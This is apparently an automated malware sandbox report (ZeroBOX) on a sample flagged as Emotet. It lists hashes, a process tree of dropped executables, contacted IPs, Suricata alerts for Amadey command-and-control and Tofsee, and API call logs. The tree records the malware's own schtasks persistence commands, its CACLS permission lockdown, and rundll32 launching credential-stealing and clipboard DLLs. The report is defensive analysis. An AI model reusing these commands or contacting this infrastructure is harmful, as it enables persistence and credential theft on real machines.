Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Feb. 19, 2023, 2:01 p.m.	Feb. 19, 2023, 2:04 p.m.

Size	973.0KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`72ae1bcbf0f8853939bbeb509fb02a06`
SHA256	`92d85c4a1ee5958a113f7d32c04fc9a4331f00cef182bb31e44d2240ca504e0c`
CRC32	`39E29D62`
ssdeep	`12288:XMroy90eUA2r18p9I4dL6FlhM7O1lzgyV7giL//wz3WWy3zlTBqSGwdC18LizXE:LyxsZ8pQvM7OIyYQ3xTBqSGwdu8GzXE`
PDB Path	wextract.pdb
Yara	IsPE32 - (no description) Malicious_Library_Zero - Malicious_Library Win32_Trojan_Gen_1_0904B0_Zero - Win32 Trojan Emotet CAB_file_format - CAB archive file PE_Header_Zero - PE File Signature UPX_Zero - UPX packed file Win32_Trojan_Emotet_RL_Gen_Zero - Win32 Trojan Emotet

cent.exe "C:\Users\test22\AppData\Local\Temp\cent.exe"
1984
- sLP46se.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\sLP46se.exe
  2032
  - slV42BL.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\slV42BL.exe
    2092
    - sCf07ZB.exe C:\Users\test22\AppData\Local\Temp\IXP002.TMP\sCf07ZB.exe
      2176
      - iWr34lU.exe C:\Users\test22\AppData\Local\Temp\IXP003.TMP\iWr34lU.exe
        2228
      - kQu23BE.exe C:\Users\test22\AppData\Local\Temp\IXP003.TMP\kQu23BE.exe
        2684
    - leW63TH.exe C:\Users\test22\AppData\Local\Temp\IXP002.TMP\leW63TH.exe
      2728
  - nJM68XE.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\nJM68XE.exe
    2984
    - AppLaunch.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      3044
- rtJ58hE.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\rtJ58hE.exe
  2120
  - mnolyk.exe "C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7\mnolyk.exe"
    2256
    - schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7\mnolyk.exe" /F
      296
    - cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "mnolyk.exe" /P "test22:N"&&CACLS "mnolyk.exe" /P "test22:R" /E&&echo Y|CACLS "..\4f9dd6f8a7" /P "test22:N"&&CACLS "..\4f9dd6f8a7" /P "test22:R" /E&&Exit
      2596
      - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        2224
      - cacls.exe CACLS "mnolyk.exe" /P "test22:N"
        524
      - cacls.exe CACLS "mnolyk.exe" /P "test22:R" /E
        2672
      - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        2852
      - cacls.exe CACLS "..\4f9dd6f8a7" /P "test22:N"
        2924
      - cacls.exe CACLS "..\4f9dd6f8a7" /P "test22:R" /E
        2972
    - truno.exe "C:\Users\test22\AppData\Local\Temp\1000003051\truno.exe"
      3020
      - nXi14fa28.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\nXi14fa28.exe
        508
        
        nRK04uJ07.exe C:\Users\test22\AppData\Local\Temp\IXP002.TMP\nRK04uJ07.exe
        948
        
        dNZ51dd.exe C:\Users\test22\AppData\Local\Temp\IXP003.TMP\dNZ51dd.exe
        2288
        
        eTh66Ma.exe C:\Users\test22\AppData\Local\Temp\IXP003.TMP\eTh66Ma.exe
        3160
        
        kFw24bl.exe C:\Users\test22\AppData\Local\Temp\IXP002.TMP\kFw24bl.exe
        3204
      - nBU16dI.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\nBU16dI.exe
        3472
    - lebro.exe "C:\Users\test22\AppData\Local\Temp\1000004001\lebro.exe"
      2664
      - nbveek.exe "C:\Users\test22\AppData\Local\Temp\9e0894bcc4\nbveek.exe"
        2884
        
        schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\9e0894bcc4\nbveek.exe" /F
        2096
        
        cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "test22:N"&&CACLS "nbveek.exe" /P "test22:R" /E&&echo Y|CACLS "..\9e0894bcc4" /P "test22:N"&&CACLS "..\9e0894bcc4" /P "test22:R" /E&&Exit
        1340
        
        cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        3000
        
        cacls.exe CACLS "nbveek.exe" /P "test22:N"
        2872
        
        cacls.exe CACLS "nbveek.exe" /P "test22:R" /E
        2124
        
        cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        3032
        
        cacls.exe CACLS "..\9e0894bcc4" /P "test22:N"
        2360
        
        cacls.exe CACLS "..\9e0894bcc4" /P "test22:R" /E
        2608
        
        agent.exe "C:\Users\test22\AppData\Roaming\1000239000\agent.exe"
        2704
        
        Underglaze.exe "C:\Users\test22\AppData\Local\Temp\1000245001\Underglaze.exe"
        2732
        
        Underglaze.exe C:\Users\test22\AppData\Local\Temp\1000245001\Underglaze.exe
        2976
        
        rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
        3768
        
        rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
        3812
        
        rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
        3852
    - rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
      3688

Name	Response	Post-Analysis Lookup
transfer.sh	A 144.76.136.153	144.76.136.153

IP Address	Status	Action
144.76.136.153	Active	Moloch
164.124.101.2	Active	Moloch
176.113.115.17	Active	Moloch
193.233.20.15	Active	Moloch
193.233.20.16	Active	Moloch
193.233.20.17	Active	Moloch
45.32.218.145	Active	Moloch
62.204.41.245	Active	Moloch
62.204.41.88	Active	Moloch
79.110.62.167	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49185 -> 193.233.20.16:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 62.204.41.245:80 -> 192.168.56.103:49190	2402000	ET DROP Dshield Block Listed Source group 1	Misc Attack
TCP 192.168.56.103:49190 -> 62.204.41.245:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 193.233.20.16:80 -> 192.168.56.103:49185	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 193.233.20.16:80 -> 192.168.56.103:49185	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 193.233.20.16:80 -> 192.168.56.103:49185	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 62.204.41.245:80 -> 192.168.56.103:49190	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 62.204.41.245:80 -> 192.168.56.103:49190	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 62.204.41.245:80 -> 192.168.56.103:49190	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 62.204.41.88:80 -> 192.168.56.103:49201	2402000	ET DROP Dshield Block Listed Source group 1	Misc Attack
TCP 192.168.56.103:49202 -> 79.110.62.167:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 192.168.56.103:49201 -> 62.204.41.88:80	2027700	ET MALWARE Amadey CnC Check-In	Malware Command and Control Activity Detected
TCP 192.168.56.103:49201 -> 62.204.41.88:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 79.110.62.167:80 -> 192.168.56.103:49202	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 79.110.62.167:80 -> 192.168.56.103:49202	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 79.110.62.167:80 -> 192.168.56.103:49202	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.103:49217 -> 144.76.136.153:443	2035145	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in TLS SNI)	Misc activity
TCP 192.168.56.103:49217 -> 144.76.136.153:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49217 -> 144.76.136.153:443	2035145	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in TLS SNI)	Misc activity
TCP 144.76.136.153:443 -> 192.168.56.103:49218	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 62.204.41.88:80 -> 192.168.56.103:49201	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 62.204.41.88:80 -> 192.168.56.103:49201	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 62.204.41.88:80 -> 192.168.56.103:49201	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 144.76.136.153:443 -> 192.168.56.103:49222	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.103:49184 -> 193.233.20.15:80	2027700	ET MALWARE Amadey CnC Check-In	Malware Command and Control Activity Detected
UDP 192.168.56.103:52760 -> 164.124.101.2:53	2034316	ET POLICY Observed DNS Query to File Transfer Service Domain (transfer .sh)	Potentially Bad Traffic
UDP 192.168.56.103:52760 -> 164.124.101.2:53	2035139	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in DNS Lookup)	Misc activity
TCP 192.168.56.103:49221 -> 144.76.136.153:443	2035145	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in TLS SNI)	Misc activity
TCP 192.168.56.103:49221 -> 144.76.136.153:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49221 -> 144.76.136.153:443	2035145	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in TLS SNI)	Misc activity
TCP 192.168.56.103:49206 -> 144.76.136.153:443	2035145	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in TLS SNI)	Misc activity
TCP 192.168.56.103:49206 -> 144.76.136.153:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49206 -> 144.76.136.153:443	2035145	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in TLS SNI)	Misc activity
TCP 144.76.136.153:443 -> 192.168.56.103:49207	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.103:49184 -> 193.233.20.15:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 192.168.56.103:49184 -> 193.233.20.15:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 193.233.20.15:80 -> 192.168.56.103:49184	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 193.233.20.15:80 -> 192.168.56.103:49184	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 193.233.20.15:80 -> 192.168.56.103:49184	2015744	ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging)	Misc activity
TCP 192.168.56.103:49201 -> 62.204.41.88:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 62.204.41.88:80 -> 192.168.56.103:49201	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 192.168.56.103:49201 -> 62.204.41.88:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
UDP 192.168.56.103:52760 -> 8.8.8.8:53	2034316	ET POLICY Observed DNS Query to File Transfer Service Domain (transfer .sh)	Potentially Bad Traffic
UDP 192.168.56.103:52760 -> 8.8.8.8:53	2035139	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in DNS Lookup)	Misc activity
TCP 192.168.56.103:49205 -> 144.76.136.153:443	2035145	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in TLS SNI)	Misc activity
TCP 192.168.56.103:49205 -> 144.76.136.153:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49205 -> 144.76.136.153:443	2035145	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in TLS SNI)	Misc activity
TCP 192.168.56.103:49216 -> 144.76.136.153:443	2035145	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in TLS SNI)	Misc activity
TCP 192.168.56.103:49216 -> 144.76.136.153:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49216 -> 144.76.136.153:443	2035145	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in TLS SNI)	Misc activity
TCP 192.168.56.103:49220 -> 144.76.136.153:443	2035145	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in TLS SNI)	Misc activity
TCP 192.168.56.103:49220 -> 144.76.136.153:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49220 -> 144.76.136.153:443	2035145	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in TLS SNI)	Misc activity
TCP 192.168.56.103:49220 -> 144.76.136.153:443	2035145	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in TLS SNI)	Misc activity
TCP 192.168.56.103:49205 -> 144.76.136.153:443	2035145	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in TLS SNI)	Misc activity
TCP 192.168.56.103:49221 -> 144.76.136.153:443	2035145	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in TLS SNI)	Misc activity
TCP 192.168.56.103:49206 -> 144.76.136.153:443	2035145	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in TLS SNI)	Misc activity
TCP 192.168.56.103:49217 -> 144.76.136.153:443	2035145	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in TLS SNI)	Misc activity
TCP 192.168.56.103:49216 -> 144.76.136.153:443	2035145	ET INFO Commonly Abused File Sharing Site Domain Observed (transfer .sh in TLS SNI)	Misc activity

Suricata TLS

No Suricata TLS

Queries for the computername (50 out of 63 events)

Time & API	Arguments	Status	Return
GetComputerNameW Feb. 19, 2023, 2:01 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:01 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:01 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:01 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:01 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2023, 2:02 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (19 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Feb. 19, 2023, 2:01 p.m.			0	0
IsDebuggerPresent Feb. 19, 2023, 2:01 p.m.			0	0
IsDebuggerPresent Feb. 19, 2023, 2:01 p.m.			0	0
IsDebuggerPresent Feb. 19, 2023, 2:01 p.m.			0	0
IsDebuggerPresent Feb. 19, 2023, 2:02 p.m.			0	0
IsDebuggerPresent Feb. 19, 2023, 2:02 p.m.			0	0
IsDebuggerPresent Feb. 19, 2023, 2:02 p.m.			0	0
IsDebuggerPresent Feb. 19, 2023, 2:02 p.m.			0	0
IsDebuggerPresent Feb. 19, 2023, 2:02 p.m.			0	0
IsDebuggerPresent Feb. 19, 2023, 2:02 p.m.			0	0
IsDebuggerPresent Feb. 19, 2023, 2:02 p.m.			0	0
IsDebuggerPresent Feb. 19, 2023, 2:02 p.m.			0	0
IsDebuggerPresent Feb. 19, 2023, 2:02 p.m.			0	0
IsDebuggerPresent Feb. 19, 2023, 2:02 p.m.			0	0
IsDebuggerPresent Feb. 19, 2023, 2:02 p.m.			0	0
IsDebuggerPresent Feb. 19, 2023, 2:02 p.m.			0	0
IsDebuggerPresent Feb. 19, 2023, 2:03 p.m.			0	0
IsDebuggerPresent Feb. 19, 2023, 2:03 p.m.			0	0
IsDebuggerPresent Feb. 19, 2023, 2:03 p.m.			0	0

Command line console output was observed (50 out of 158 events)

Time & API	Arguments	Status	Return
WriteConsoleW Feb. 19, 2023, 2:02 p.m.	buffer: SUCCESS: The scheduled task "mnolyk.exe" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: Y console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: N console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW Feb. 19, 2023, 2:02 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7\mnolyk.exe console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW Feb. 19, 2023, 2:02 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7\mnolyk.exe console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Feb. 19, 2023, 2:02 p.m.	buffer: r console_handle: 0x00000007	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 85 events)

Time & API	Arguments	Status	Return
CryptExportKey Feb. 19, 2023, 2:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005edb00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005edb00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005edb40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005edb40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005edb00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005edb00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005edb00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005edb00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005edb00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005edb00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005edb00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005edb80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005edb80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005edd40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005ee440 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005ee440 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005ee180 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008f9b08 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008f9b08 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
